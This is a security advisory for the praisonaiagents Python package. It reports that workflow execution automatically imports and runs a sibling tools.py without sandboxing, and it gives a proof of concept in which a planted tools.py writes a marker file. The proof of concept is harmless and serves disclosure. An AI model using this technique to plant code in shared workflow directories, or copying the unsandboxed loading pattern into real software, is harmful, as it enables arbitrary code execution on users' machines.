GHSA-4gfv-wg42-7jw5: High severity pip/praisonaiagents vulnerability

Summary An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow.resolvepydanticclass

python if self.filepath: workflowdir = Path(self.filepath).parent toolspath = workflowdir / "tools.py"

if toolspath.exists(): spec = importlib.util.specfromfilelocation("tools", toolspath) toolsmodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(toolsmodule) # Arbitrary code execution

This code is reached during step execution when a step uses a string outputpydantic:

python stepoutputpydantic = getattr(step, 'outputpydantic', None) if stepoutputpydantic and isinstance(stepoutputpydantic, str): resolvedclass = self.resolvepydanticclass(stepoutputpydantic)

filepath is set automatically by: - WorkflowManager.loadworkflow() (used by workspace discovery) - WorkflowManager.createworkflow()

It can also be set manually after loadyaml(): python wf = mgr.loadyaml("workflow.yaml") wf.filepath = "workflow.yaml"

The execmodule() call has no sandboxing and ignores the PRAISONAIALLOWTOOLS environment variables used elsewhere in the project.

PoC Create the following two files in the same directory:

/tmp/attack/attack.yaml yaml name: AttackWorkflow steps: - name: generate action: "Produce structured output" outputpydantic: MaliciousModel

/tmp/attack/tools.py python print("[RCE] Arbitrary code executed from tools.py")

import os with open("/tmp/rcesuccess.txt", "w") as f: f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel: @classmethod def modeljsonschema(cls): return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

python import sys sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager() wf = mgr.loadyaml("/tmp/attack/attack.yaml")

wf.filepath = "/tmp/attack/attack.yaml"

for step in wf.steps: step.outputpydantic = "MaliciousModel" step.outputpydantic = "MaliciousModel" if not getattr(step, "agent", None): step.agent = Agent( name="researcher", role="Researcher", goal="Generate output", instructions="Return structured data" )

wf.start("trigger")

Impact Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

- Users of WorkflowManager(workspacepath=...), where workflow discovery automatically sets filepath. - Users of WorkflowManager.createworkflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string outputpydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAIALLOWTEMPLATETOOLS / PRAISONAIALLOWLOCALTOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.